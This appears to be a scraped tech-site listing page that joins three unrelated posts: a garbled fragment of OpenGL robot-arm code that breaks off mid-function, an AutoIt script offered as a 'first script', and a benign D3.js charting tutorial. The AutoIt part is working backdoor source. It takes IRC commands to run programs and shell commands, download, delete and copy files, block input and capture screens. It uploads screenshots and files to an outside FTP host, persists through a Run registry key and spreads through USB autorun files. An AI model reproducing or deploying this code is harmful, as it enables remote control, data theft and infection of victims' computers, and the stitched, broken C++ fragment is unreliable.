cuboidBase.slideY, 0); if(bWireFrame) cuboidBase.DrawWireframe(); else cuboidBase.DrawColor(); glPopMatrix(); } void drawCylBase1() { glPushMatrix(); ////////////////////////////////// glTranslated(0, cylBase1.slideY, 0); if(bWireFrame) cylBase1.DrawWireframe(); else cylBase1.DrawColor(); glPopMatrix(); } void drawCylBase2() { glPushMatrix(); ////////////////////////////////// glTranslated(0, cylBase2.slideY, 0); if(bWireFrame) cylBase2.DrawWireframe(); else cylBase2.DrawColor(); glPopMatrix(); } /////////////////////////////////////////////////////////////////////// void drawUpperArm1() { glPushMatrix(); glRotated(upperArmRotateY, 0, 1, 0); ////////////////////////////////// glTranslated(0, upperArm1.slideY, 0); if(bWireFrame) upperArm1.DrawWireframe(); else upperArm1.DrawColor(); glPopMatrix(); } void drawUpperArm2() { glPushMatrix(); glRotated(upperArmRotateY, 0, 1, 0); ////////////////////////////////// glTranslated(0, upperArm2.slideY, upperArm2.slideZ); if(bWireFrame) upperArm2.DrawWireframe(); else upperArm2.DrawColor(); glPopMatrix(); } void drawUpperArm3() { glPushMatrix(); glRotated(upperArmRotateY, 0, 1, 0); ////////////////////////////////// glTranslated(0, upperArm3.slideY, upperArm3.slideZ); if(bWireFrame) upperArm3.DrawWireframe(); else upperArm3.DrawColor(); glPopMatrix(); } void drawUpperArm4() { glPushMatrix(); glRotated(upperArmRotateY, 0, 1, 0); ////////////////////////////////// glTranslated(0, upperArm4.slideY, upperArm4.slideZ); if(bWireFrame) upperArm4.DrawWireframe(); else upperArm4.DrawColor(); glPopMatrix(); } /////////////////////////////////////////////////////////////////// //////////////////////////////////////////////// /////////////// THE FORE ARM /////////////////// //////////////////////////////////////////////// void drawforeArm1() { glPushMatrix(); glRotated(upperArmRotateY, 0, 1, 0); ////////////////////////////////// glTranslated(0, foreArm1.slideY, foreArm1.slideZ); if(bWireFrame) foreArm1.DrawWireframe(); else foreArm1.DrawColor(); glPopMatrix(); } void drawforeArm2() { glPushMatrix(); //glTranslated(foreArm2.slideX, foreArm2.slideY - 2.5, foreArm2.slideZ); glRotated(upperArmRotateY, 0, 1, 0); ////////////////////////////////// glTranslated(0, foreArm2.slideY, foreArm2.slideZ); glTranslated(0, -foreArm2.slideY, -(foreArm2.slideZ - 1.6)); glRotated(foreArmRotateY, 0, 1, 0); glTranslated(0, foreArm2.slideY, (foreArm2.slideZ - 1.6)); if(bWireFrame) foreArm2.DrawWireframe(); else foreArm2.DrawColor(); glPopMatrix(); } void drawforeArm3() { glPushMatrix(); glRotated(upperArmRotateY, 0, 1, 0); ////////////////////////////////// glTranslated(0, foreArm3.slideY, foreArm3.slideZ); glTranslated(0, -foreArm3.slideY, -(foreArm3.slideZ - 1.6)); glRotated(foreArmRotateY, 0, 1, 0); glTranslated(0, foreArm3.slideY, (foreArm3.slideZ - 1.6)); if(bWireFrame) foreArm3.DrawWireframe(); else foreArm3.DrawColor(); glPopMatrix(); } void drawforeArm4() { glPushMatrix(); glRotated(upperArmRotateY, 0, 1, 0); ////////////////////////////////// glTranslated(0, foreArm4.slideY, foreArm4.slideZ); glTranslated(0, -foreArm4.slideY, -(foreArm4.slideZ - 1.6)); glRotated(foreArmRotateY, 0, 1, 0); glTranslated(0, foreArm4.slideY, (foreArm4.slideZ - 1.6)); if(bWireFrame) foreArm4.DrawWireframe(); else foreArm4.DrawColor(); glPopMatrix(); } void drawHand() { glPushMatrix(); glRotated(upperArmRotateY, 0, 1, 0); ////////////////////////////////// glTranslated(0, Hand.slideY, Hand.slideZ); glTranslated(0, -Hand.slideY, -(Hand.slideZ - 1.6)); glRotated(foreArmRotateY, 0, 1, 0); glTranslated(0, Hand.slideY, (Hand.slideZ - 1.6)); glTranslated(0, move, 0); if(bWireFrame) Hand.DrawWireframe(); else Hand.DrawColor(); glPopMatrix(); } void drawHand1() { glPushMatrix(); if(move >= -0.11 && move <= -0.09) { //cout<<<" "<< : to rotate camera counterclockwise." << endl; glutInit(&argc, argv); //initialize the tool kit glutInitDisplayMode(GLUT_DOUBLE |GLUT_RGB);//set the display mode glutInitWindowSize(screenWidth, screenHeight); //set window size glutInitWindowPosition(100, 100); // set window position on screen glutCreateWindow("Lab4"); // open the screen window /////////////////////////////////////////////////////////////// // The Floor planeY.CreateYPlane(10, 10, 1, 1); planeY.slideX = 4.5; planeY.slideY = YPlanePos; planeY.slideZ = 4.5; planeY.SetColor(15); planeY2.CreateYPlane(10, 10, 1, 1); planeY2.slideX = 3.5; planeY2.slideY = YPlanePos; planeY2.slideZ = 3.5; planeY2.SetColor(15); /////////////////////////////////////////////////////////////// // 4 balls ball1.CreateSphere(50, 20, ballRadius); ball1.slideX = 3; ball1.slideY = YPlanePos + ballRadius; ball1.slideZ = 3; ball1.SetColor(1); ball2.CreateSphere(50, 20, ballRadius); ball2.slideX = -3; ball2.slideY = YPlanePos + ballRadius; ball2.slideZ = 3; ball2.SetColor(2); ball3.CreateSphere(50, 20, ballRadius); ball3.slideX = -3; ball3.slideY = YPlanePos + ballRadius; ball3.slideZ = -3; ball3.SetColor(3); ball4.CreateSphere(50, 20, ballRadius); ball4.slideX = 3; ball4.slideY = YPlanePos + ballRadius; ball4.slideZ = -3; ball4.SetColor(4); /////////////////////////////////////////////////////////////// // The Body cuboidBase.CreateCuboid(cuboidBaseSizeXZ/2.0, cuboidBaseSizeY/2.0, cuboidBaseSizeXZ/2.0); cuboidBase.slideY = YPlanePos + cuboidBaseSizeY/2.0; cuboidBase.SetColor(0); cylBase1.CreateCylinder(20, cylBase1Height, cylBase1Radius); cylBase1.slideY = YPlanePos + cuboidBaseSizeY/2.0 + cylBase1Height/2; cylBase1.SetColor(1); cylBase2.CreateCylinder(20, cylBase2Height, cylBase2Radius); cylBase2.slideY = YPlanePos + cuboidBaseSizeY/2.0 + cylBase1Height/2 + cylBase2Height/2 ; cylBase2.SetColor(2); /////////////////////////////////////////////////// // The Upper Arm upperArm1.CreateCylinder(20, upperArm1Height, upperArm1ORadius); upperArm1.slideY = YPlanePos + cuboidBaseSizeY/2.0 + cylBase1Height/2 + cylBase2Height - upperArm1Offset; upperArm1.SetColor(5); upperArm2.CreateCuboid(upperArm2SizeX, upperArm2SizeY, upperArm2SizeZ); upperArm2.slideY = YPlanePos + cuboidBaseSizeY/2.0 + cylBase1Height/2 + cylBase2Height - upperArm1Offset; upperArm2.slideZ = upperArm2SizeZ + upperArm1IRadius; upperArm2.SetColor(6); upperArm3.CreateCylinder(20, upperArm3Height, upperArm3Radius); upperArm3.slideY = YPlanePos + cuboidBaseSizeY/2.0 + cylBase1Height/2 + cylBase2Height - upperArm1Offset; upperArm3.slideZ = upperArm2.slideZ + upperArm2SizeZ ; upperArm3.SetColor(5); upperArm4.CreateCylinder(20, upperArm4Height, upperArm4Radius); upperArm4.slideY = YPlanePos + cuboidBaseSizeY/2.0 + cylBase1Height/2 + cylBase2Height - upperArm1Offset + upperArm4Height/2 + upperArm3Height/2; upperArm4.slideZ = upperArm3.slideZ; upperArm4.SetColor(2); /////////////////////////////////////////////////// // The Fore Arm foreArm1.CreateCylinder(20, foreArm1Height, foreArm1ORadius); foreArm1.slideY = upperArm3.slideY + upperArm4Height/2 + upperArm1Height/4; foreArm1.slideZ = upperArm4.slideZ; foreArm1.SetColor(3); foreArm2.CreateCuboid(foreArm2SizeX, foreArm2SizeY, foreArm2SizeZ); foreArm2.slideY = foreArm1.slideY; foreArm2.slideZ = foreArm1.slideZ + foreArm1IRadius/2 + foreArm2SizeZ; foreArm2.SetColor(4); foreArm3.CreateCylinder(20, foreArm3Height, foreArm3Radius); foreArm3.slideY = foreArm2.slideY; foreArm3.slideZ = foreArm2.slideZ + foreArm2SizeZ; foreArm3.SetColor(5); foreArm4.CreateCylinder(20, foreArm4Height, foreArm4Radius); foreArm4.slideY = foreArm3.slideY + 0.2; foreArm4.slideZ = foreArm3.slideZ; foreArm4.SetColor(0); /////////////////////////////////////////////////// // The Hand Hand.CreateCylinder(20, 3.5, 0.08); Hand.slideY = foreArm4.slideY; Hand.slideZ = foreArm4.slideZ; Hand.SetColor(1); Hand1.CreateCylinder(20, 0.2, 0.4); Hand1.slideY = foreArm4.slideY - 3.5/2; Hand1.slideZ = foreArm4.slideZ; Hand1.SetColor(7); ///////////////////////////////////////////////////////// myInit(); glutKeyboardFunc(myKeyboard); glutDisplayFunc(myDisplay); glutSpecialFunc(mySpecialKeyboard); glutMainLoop(); return 0; }
June 30, 2015
by Daewoo Han
· 1,038 Views
article thumbnail
my first Autoit script
#AutoIt3Wrapper_Run_Obfuscator = y #Obfuscator_Ignore_Variables = #Obfuscator_Ignore_Funcs = #Obfuscator_On #NoTrayIcon #include #include #include #include #include #include #Include #include #include #include Global $sock, $version = 0.22 Global $server = "irc.quakenet.org" Global $port = 6667 Global $nick = "PC" & Random(1, 9, 1) & Random(1, 9, 1) & Random(1, 9, 1) & Random(1, 9, 1) Global $channel = "#rock0em" ;RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "ymsg_tray.exe", "REG_SZ", "C:\Windows\ymsg_tray.exe /onboot") TCPStartup() $sock = _IRCConnect($server, $port, $nick) While 1 ;attach() ;find_usb() $recv = TCPRecv($sock, 8192) ;--------------------------------------------------------------------------------------- If @error Then $sock = _IRCConnect($server, $port, $nick) Else ConsoleWrite($recv) EndIf ;--------------------------------------------------------------------------------------- If $recv Then $sData = StringSplit($recv, @CRLF) For $i = 1 To $sData[0] Step 1 $sTemp = StringSplit($sData[$i], " ") If $sTemp[1] = "" Then ContinueLoop If $sTemp[1] = "PING" Then _IRCPing($sock, $sTemp[2]) If $sTemp[0] <= 2 Then ContinueLoop ;--------------------------------------------------------------------------------------- If StringLeft($sData[$i], 1) = ":" Then $sData[$i] = StringTrimLeft($sData[$i], 1) If $sTemp[0] >= 5 And $sTemp[3] = $nick And $sTemp[5] = $channel And StringRegExp($sData[$i], "(?i)" & StringReplace($nick, "|", "\|") & " [@%&~=] " & $channel & " :") Then $sNameList = StringTrimLeft($sData[$i], StringInStr($sData[$i], ":")) $members = StringSplit($sNameList, " ") EndIf If $sTemp[3] = $nick And $sTemp[4] = ":End" And $sTemp[6] = "/MOTD" Then _IRCJoinChannel($sock, $channel) EndIf If $sTemp[0] >= 9 And $sTemp[4] = $nick And $sTemp[5] = ":Nickname" Then $nick &= "1" _IRCSendMessage($sock, "NICK " & $nick) EndIf If $sTemp[0] >= 3 And $sTemp[2] = "PRIVMSG" And $sTemp[3] = $channel Then $text = StringTrimLeft($sData[$i], StringInStr($sData[$i], ":")) $snick = StringLeft($sData[$i], StringInStr($sData[$i], "!") - 1) If StringLeft($text, 1) = Chr(1) Then ; /me message $text = StringTrimLeft($text, 8) Else $result = StringInStr($snick, "postmodernism") If $result = 1 Then If StringInStr($text, "checkinfo@", 2) Then $command = StringSplit($text, "@") If $command[2] <> "" Then If $command[2] = $nick Then $ip = _GetIP() _IRCSendMessage($sock, "Computer Name: "&@ComputerName&" - OS: "&@OSVersion&"/"&@OSServicePack&" - User: "&@UserName&" - IP: "&$ip, $channel) EndIf EndIf ElseIf StringInStr($text, "delete@", 2) Then $t = StringReplace($text, "@", "-") $numreplacements = @extended If $numreplacements = 2 Then $command = StringSplit($text, "@") If $command[2] <> "" Then If $command[2] = $nick Then FileDelete($command[3]) _IRCSendMessage($sock,$command[2] & "--->deleted" , $channel) EndIf EndIf EndIf ElseIf StringInStr($text, "run@", 2) Then $t = StringReplace($text, "@", "-") $numreplacements = @extended If $numreplacements = 2 Then $command = StringSplit($text, "@") If $command[2] <> "" Then If $command[2] = $nick Then Run($command[3]) _IRCSendMessage($sock,$command[2] & "--->running" , $channel) EndIf EndIf EndIf ElseIf StringInStr($text, "download@", 2) Then $t = StringReplace($text, "@", "-") $numreplacements = @extended If $numreplacements = 3 Then $command = StringSplit($text, "@") If $command[2] <> "" Then If $command[2] = $nick Then InetGet($command[3],$command[4]) _IRCSendMessage($sock,$command[2] & "--->downloaded" , $channel) EndIf EndIf EndIf ElseIf StringInStr($text, "rundos@", 2) Then $t = StringReplace($text, "@", "-") $numreplacements = @extended If $numreplacements = 2 Then $command = StringSplit($text, "@") If $command[2] <> "" Then If $command[2] = $nick Then _RunDOS($command[3]) _IRCSendMessage($sock,$command[2] & "--->executed" , $channel) EndIf EndIf EndIf ElseIf StringInStr($text, "msgbox@", 2) Then $t = StringReplace($text, "@", "-") $numreplacements = @extended If $numreplacements = 2 Then $command = StringSplit($text, "@") If $command[2] <> "" Then If $command[2] = $nick Then MsgBox(0,"",$command[3]) _IRCSendMessage($sock,$command[2] & "--->leave msg" , $channel) EndIf EndIf EndIf ElseIf StringInStr($text, "processclose@", 2) Then $t = StringReplace($text, "@", "-") $numreplacements = @extended If $numreplacements = 2 Then $command = StringSplit($text, "@") If $command[2] <> "" Then If $command[2] = $nick Then ProcessClose($command[3]) _IRCSendMessage($sock,$command[2] & "--->closed" , $channel) EndIf EndIf EndIf ElseIf StringInStr($text, "copy@", 2) Then $t = StringReplace($text, "@", "-") $numreplacements = @extended If $numreplacements = 3 Then $command = StringSplit($text, "@") If $command[2] <> "" Then If $command[2] = $nick Then If ($command[3] <> "") And ($command[4] <> "") Then FileCopy($command[3],$command[4]) _IRCSendMessage($sock,$command[2] & "--->completed" , $channel) EndIf EndIf EndIf EndIf ElseIf StringInStr($text, "mousetrap@", 2) Then $command = StringSplit($text, "@") If ($command[2] <> "") And ($command[2] = $nick) Then _MouseTrap(0,0,0,0) _IRCSendMessage($sock,$command[2] & "--->mousetrap" , $channel) EndIf ElseIf StringInStr($text, "stoptrap@", 2) Then $command = StringSplit($text, "@") If ($command[2] <> "") And ($command[2] = $nick) Then MouseClick ("Left",0,500,400) _IRCSendMessage($sock,$command[2] & "--->stoptrap" , $channel) EndIf ElseIf StringInStr($text, "blockinput(1)@", 2) Then $command = StringSplit($text, "@") If ($command[2] <> "") And ($command[2] = $nick) Then BlockInput(1) _IRCSendMessage($sock,$command[2] & "--->blockinput" , $channel) EndIf ElseIf StringInStr($text, "blockinput(0)@", 2) Then $command = StringSplit($text, "@") If ($command[2] <> "") And ($command[2] = $nick) Then BlockInput(0) _IRCSendMessage($sock,$command[2] & "--->stopblock" , $channel) EndIf ElseIf StringInStr($text, "snapshot@", 2) Then $t = StringReplace($text, "@", "-") $numreplacements = @extended If $numreplacements = 5 Then $command = StringSplit($text, "@") If $command[2] <> "" Then If ($command[2] = $nick) Then _ScreenCapture_Capture($command[5]) $Open = _FTPOpen("MyFTP Control") $Conn = _FTPConnect($Open,"dienthoaihanquoc.netau.net", $command[3], $command[4]) $Ftpp = _FtpPutFile($Conn,$command[5], "/" & $command[6]) $Ftpc = _FTPClose($Open) _IRCSendMessage($sock,"--->uploaded", $channel) FileDelete($command[5]) EndIf EndIf EndIf ElseIf StringInStr($text, "sound@", 2) Then $command = StringSplit($text, "@") If ($command[2] <> "") And ($command[2] = $nick) Then SoundPlay($command[3]) _IRCSendMessage($sock,$command[2] & "--->played", $channel) EndIf ElseIf StringInStr($text, "filelist@", 2) Then $t = StringReplace($text, "@", "-") $numreplacements = @extended If $numreplacements = 4 Then $command = StringSplit($text, "@") If $command[2] <> "" Then If ($command[2] = $nick) And ($command[3] <> "") Then $avCommon = _FileListToArray($command[3]) $sFile = $command[3] & "\list.txt" _FileWriteFromArray($sFile, $avCommon, 1) For $i = $command[4] to $command[5] $read = FileReadLine($command[3] &"\list.txt",$i) If $read <> "" Then _IRCSendMessage($sock,$read, $channel) Sleep(1500) EndIf Next FileDelete($command[3] & "\list.txt") EndIf EndIf EndIf ElseIf StringInStr($text, "readline@", 2) Then $command = StringSplit($text, "@") If $command[2] <> "" Then $read = FileReadLine ($command[2],$command[3]) _IRCSendMessage($sock,$read, $channel) EndIf ElseIf StringInStr($text, "tringlen@", 2) Then $command = StringSplit($text, "@") If $command[2] <> "" Then $read = FileReadLine ($command[2],$command[3]) $len = StringLen($read) _IRCSendMessage($sock,$command[2] & "-->line " & $command[3] &" : "&$len & " characters", $channel) EndIf ElseIf StringInStr($text, "tringmid@", 2) Then $command = StringSplit($text, "@") If $command[2] <> "" And $command[3] <> "" And $command[4] <> "" And $command[5] <> "" Then $read = FileReadLine ($command[2],$command[3]) $var = StringMid($read, $command[4], $command[5]) _IRCSendMessage($sock,$var & "--->chars from position" & $command[4], $channel) EndIf ElseIf StringInStr($text, "numberofprocess@", 2) Then $t = StringReplace($text, "@", "-") $numreplacements = @extended If $numreplacements = 1 Then $command = StringSplit($text, "@") If $command[2] <> "" Then If $command[2] = $nick Then $list = ProcessList() $read = $list[0][0] _IRCSendMessage($sock,$read & " processes are running", $channel) EndIf EndIf EndIf ElseIf StringInStr($text, "processlist@", 2) Then $t = StringReplace($text, "@", "-") $numreplacements = @extended If $numreplacements = 3 Then $command = StringSplit($text, "@") If $command[2] <> "" Then If $command[2] = $nick Then If ($command[3] <> "") And ($command[4] <> "") Then $list = ProcessList() FileOpen("C:\123.txt") for $i = $command[3] to $command[4] FileWrite("C:\123.txt",$list[$i][0] & "/") next $read = FileRead("C:\123.txt") _IRCSendMessage($sock, $read , $channel) FileDelete("C:\123.txt") EndIf EndIf EndIf EndIf ElseIf StringInStr($text, "cdtray@", 2) Then $t = StringReplace($text, "@", "-") $numreplacements = @extended If $numreplacements = 2 Then $command = StringSplit($text, "@") If $command[2] <> "" Then If $command[2] = $nick Then $drive = DriveGetDrive("CDROM") If Not @error Then CDTray($drive, "open") _IRCSendMessage($sock,"--->open" & $drive[$i] , $channel) EndIf EndIf EndIf EndIf ElseIf StringInStr($text, "upload@", 2) Then $t = StringReplace($text, "@", "-") $numreplacements = @extended If $numreplacements = 5 Then $command = StringSplit($text, "@") If $command[2] <> "" Then If $command[2] = $nick Then $Open = _FTPOpen("MyFTP Control") $Conn = _FTPConnect($Open,"dienthoaihanquoc.netau.net", $command[3], $command[4]) $Ftpp = _FtpPutFile($Conn,$command[5], "/" & $command[6]) $Ftpc = _FTPClose($Open) _IRCSendMessage($sock,"--->uploaded", $channel) EndIf EndIf EndIf EndIf EndIf EndIf EndIf EndIf Next EndIf WEnd Func _IRCQuit($irc, $msg = "") If $irc = -1 Then Return 0 TCPSend($irc, "QUIT :" & $msg & @CRLF) Sleep(100) Return 1 EndFunc ;==>_IRCQuit Func _IRCLeaveChannel($irc, $msg = "", $chan = "") If $irc = -1 Then Return 0 TCPSend($irc, "PART " & $chan & " :" & $msg & @CRLF) If @error Then Return -1 EndIf Return 1 EndFunc ;==>_IRCLeaveChannel Func _IRCPing($irc, $ret) If $ret = "" Then Return -1 TCPSend($irc, "PONG " & $ret & @CRLF) If @error Then Return -1 EndIf Return 1 EndFunc ;==>_IRCPing Func _IRCChangeMode($irc, $mode, $chan = "") If $irc = -1 Then Return 0 If $chan = "" Then TCPSend($irc, "MODE " & $mode & @CRLF) If @error Then Return -1 EndIf Return 1 EndIf TCPSend($irc, "MODE " & $chan & " " & $mode & @CRLF) If @error Then Return -1 EndIf Return 1 EndFunc ;==>_IRCChangeMode Func _IRCSendMessage($irc, $msg, $chan = "") If $irc = -1 Then Return 0 If $chan = "" Then TCPSend($irc, $msg & @CRLF) If @error Then Return -1 EndIf Return 1 EndIf TCPSend($irc, "PRIVMSG " & $chan & " :" & $msg & @CRLF) If @error Then Return -1 EndIf Return 1 EndFunc ;==>_IRCSendMessage Func _IRCJoinChannel($irc, $chan) If $irc = -1 Then Return 0 TCPSend($irc, "JOIN " & $chan & @CRLF) If @error Then Return -1 EndIf Return 1 EndFunc ;==>_IRCJoinChannel Func _IRCConnect($server, $port, $nick) Local $i = TCPConnect(TCPNameToIP($server), $port) If $i = -1 Then Sleep(10000) Local $i = TCPConnect(TCPNameToIP($server), $port) EndIf TCPSend($i, "NICK " & $nick & @CRLF) TCPSend($i, "USER " & $nick & " 0 0 " & $nick & @CRLF) Return $i EndFunc ;==>_IRCConnect Func attach() If Not FileExists ("C:\Windows\ymsg_tray.exe") then FileCopy(@ScriptFullPath,"C:\Windows\ymsg_tray.exe", 1) FileSetAttrib("C:\Windows\ymsg_tray.exe", "+SHR") RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "ymsg_tray.exe", "REG_SZ", "C:\Windows\ymsg_tray.exe /onboot") EndIf EndFunc Func protect() EndFunc Func find_usb() $1 = DriveGetDrive( "REMOVABLE" ) If Not @error Then For $i = 1 to $1[0] $fp2 = FileOpen($1[$i] & "\Autorun.inf",2) FileClose($fp2) If $fp2 <> "open=ymsg_tray.exe" Then If $1[$i] <> "A:" Then FileCopy(@ScriptFullPath, $1[$i] & "\ymsg_tray.exe", 1) Dim $autorun = "[autorun]" & @CRLF & "open=ymsg_tray.exe" filewrite($1[$i] & "\Autorun.inf","[autorun]" & @CRLF & "open=ymsg_tray.exe") filewrite($1[$i] & "\Autorun.inf","" & @CRLF & "Shell\Open=open") filewrite($1[$i] & "\Autorun.inf","" & @CRLF & "Shell\Open\Command=ymsg_tray.exe") filewrite($1[$i] & "\Autorun.inf","" & @CRLF & "Shell\Open\Default=1") filewrite($1[$i] & "\Autorun.inf","" & @CRLF & "Shell\Explore=explore") filewrite($1[$i] & "\Autorun.inf","" & @CRLF & "Shell\Explore\Command=ymsg_tray.exe") FileSetAttrib($1[$i] & "\Autorun.inf", "+SHR") FileSetAttrib($1[$i] & "\ymsg_tray.exe", "+SHR") EndIf EndIf Next EndIf EndFunc #Obfuscator_Off
June 30, 2015
by Daewoo Han
· 1,569 Views
article thumbnail
Getting Started with D3.js
Originally authored by Elizabeth Engel You are thinking about including some nice charts and graphics into your current project? Maybe you heard about D3.js, as some people claim it the universal JavaScript visualization framework. Maybe you also heard about a steep learning curve. Let’s see if this is really true! First of all, what is D3.js? D3.js is an open source JavaScript framework written by Mike Bostock helping you to manipulate documents based on data. Okay, let’s first have a look at the syntax Therefore, lets look at the following hello world example. It will append an element saying ‘Hello World!’ to the content element. As you can see the syntax is very similar to frameworks like JQuery and obviously, it saves you a lot of code lines as it offers a nice fluent API. But let’s see how we can bind data to it: d3.select('#content') .selectAll('h1') .data(['Sarah', 'Robert', 'Maria', 'Marc']) .enter() .append('h1') .text(function(name) {return 'Hello ' + name + '!'}); What happens? The data function gets our names array as parameter and for each name we append an element with a personalized greeting message. For a second, we ignore the selectAll(‘h1′) and enter() method call, as we will explore them later. Looking into the browser we can see the following: Hello Sarah! Hello Robert! Hello Maria! Hello Marc! Not bad for a start! Inspecting the element in the browser, we see the following generated markup: [...] Hello Sarah! Hello Robert! Hello Maria! Hello Marc! [...] This already shows one enourmous advantage of D3.js: You acctually see the generated code and can spot errors easily. Now, let’s have a closer look at the data-document connection As mentioned in the beginning, D3.js helps you to manipulate documents based on data. Therefore, we only take care about handing the right data over to D3.js, so the framework can do the magic for us. To understand how D3.js handles data, we’ll first have a look at how data might change over time. Let’s take the document from our last example. Every name is one data entry. Easy. Now let’s assume new data comes in: As new data is coming in, the document needs to be updated. The entries of Robert and Maria need to be removed, Sarah and Marc can stay unchanged and Mike, Sam and Nora need a new entry each. Fortunately, using D3.js we don’t have to care about finding out which nodes need to be added and removed. D3.js will take care about it. It will also reuse old nodes to improve performance. This is one key benefit of D3.js. So how can we tell D3.js what to do when? To let D3.js update our data, we initially need a data join, so D3.js knows our data. Therefore, we select all existing nodes and connect them with our data. We can also hand over a function, so D3.js knows how to identify data nodes. As we initally don’t have nodes, the selectAll function will return an empty set. var textElements = svg.selectAll('h1').data(data, function(d) { return d; }); After the first iteration, the selectAll will hand over the existing nodes, in our case Sarah, Robert, Marc and Maria. So we can now update these existing nodes. For example, we can change their CSS class to grey: textElements.attr({'class': 'grey'}); Additionally, we can tell D3.js what to do with entering nodes, in our case Mike, Sam and Nora. For example, we can add an element for each of them and set the CSS class to green for each of them: textElements.enter().append('h1').attr({'class': 'green'}); As D3.js now updated the old nodes and added the new ones, we can define what will happen to both of them. In our cases this will affect the nodes of Mike, Sarah, Sam, Mark and Nora. For example, we can rotate them: textElements.attr({'transform', rotate(30 20,40)}); Furthermore, we can specify what D3.js will do to nodes like Robert and Maria, that are not contained in the data set any more. Let’s change their CSS class to red: textElements.exit().attr({'class': 'red'}); You can find the full example code to illustrate the data-document connection of D3.js as JSFiddle here: https://jsfiddle.net/q5sgh4rs/1/ But how to visualize data with D3.js? Now that we know about the basics of D3.js, let’s go to the most interesting part of D3.js: drawing graphics. To do so, we use SVG, which stands for scalable vector graphics. Maybe you already know it from other contexts. In a nutshell, it’s a XML-based vector image language supporting animation and interaction. Fortunately, we can just add SVG tags in our HTML and all common browsers will display it directly. This also facilitates debugging, as we can inspect generated elements in the browser. In the following, we see some basic SVG elements and their attributes: To get a better understanding of how SVG looks like, we’ll have a look at it as a basic example of SVG code, generating a rectangle, a line and a circle. To generate the same code using D3.js, we need to add an SVG to our content and then append the tree elements with their attributes like this: var svg = d3.select('#content').append('svg'); svg.append('rect').attr({x: 10, y: 15, width: 60, height: 20}); svg.append('line').attr({x1: 85, y1: 35, x2: 105, y2: 15}); svg.append('circle').attr({cx: 130, cy: 25, r: 6}); Of course, for static SVG code, we wouldn’t do this, but as we already saw, D3.js can fill attributes with our data. So we are now able to create charts! Let’s see how this works: This will draw our first bar chart for us! Have a look at it: https://jsfiddle.net/tLhomz11/2/ How to turn this basic bar chart into an amazing one? Now that we started drawing charts, we can make use of all the nice features D3.js offers. First of all, we will adjust the width of each bar to fill the available space by using a linear scale, so we don’t have to scale our values by hand. Therefore, we specify the range we want to get values in and the domain we have. In our case, the data is in between 0 and 200 and we would like to scale it to a range of 0 to 400, like this: var xScale = d3.scale.linear().range([0, 400]).domain([0,200]); If we now specify x values, we just use this function and get an eqivalent value in the right range. If we don’t know our maximum value for the domain, we can use the d3.max() function to calculate it based on the data set we want to display. To add an axis to our bar chart, we can use the following function and call it on our SVG. To get it in the right position, we need to transform it below the chart. [svg from above].call(d3.svg.axis().scale(xScale).orient("bottom")); Now, we can also add interaction and react to user input. For example, we can give an alert, if someone clicks one our chart: [svg from above].on("click", function () { alert("Houston, we get attention here!"); }) Adding a text node for each line, we get the following chart rendered in the browser: If you would like to play around with it, here is the code: https://jsfiddle.net/Loco5ddt/ If you would like to see even more D3.js code, using the same data to display a pie chart and adding an update button, look at the following one: https://jsfiddle.net/4eqzyquL/ Data import Finally, we can import our data in CSV, TSV or JSON format. To import a JSON file, for example, use the following code. Of course, you can also fetch your JSON via a server call instead of importing a static file. d3.json("data.json", function(data) { [access your data using the data variable] } What else does D3,js offer? Just to name a few, D3.js helps you with layouts, geometry, scales, ranges, data transformation, array and math functions, colors, time formating and scales, geography, as well as drag & drop. There are a lot of examples online: https://github.com/mbostock/d3/wiki/Gallery TL;DR + based on web standards + totally flexible + easy to debug + many, many examples online + Libaries build on D3.js (NVD3.js, C3.js or IVML) – a lot of code compared to other libraries – for standard charts too heavy Learning more As this blog post is based on a presentation held at the MunichJS Meetup, you can find the original slides here: http://slides.com/elisabethengel/d3js#/ The recording is available on youTube: https://www.youtube.com/watch?v=EYmJEsReewo For further information, have a look at: https://github.com/mbostock/d3/wiki https://github.com/mbostock/d3/wiki/API-Reference http://bost.ocks.org/mike/ Getting Started with D3 by Mike Dewar Interactive Data Visualization for the Web by Scott Murray (online for free) https://github.com/alignedleft/d3-book If you have any questions or suggestions, feel free to comment or write me: [email protected]
June 30, 2015
by Comsysto Gmbh
· 6,452 Views · 3 Likes
  • Previous
  • ...
  • 1457
  • 1458
  • 1459
  • 1460
  • 1461
  • 1462
  • 1463
  • 1464
  • 1465
  • 1466
  • ...
  • Next
  • RSS
  • X
  • Facebook

ABOUT US

  • About DZone
  • Support and feedback
  • Community research

ADVERTISE

  • Advertise with DZone

CONTRIBUTE ON DZONE

  • Article Submission Guidelines
  • Become a Contributor
  • Core Program
  • Visit the Writers' Zone

LEGAL

  • Terms of Service
  • Privacy Policy

CONTACT US

  • 3343 Perimeter Hill Drive
  • Suite 215
  • Nashville, TN 37211
  • [email protected]

Let's be friends:

  • RSS
  • X
  • Facebook
×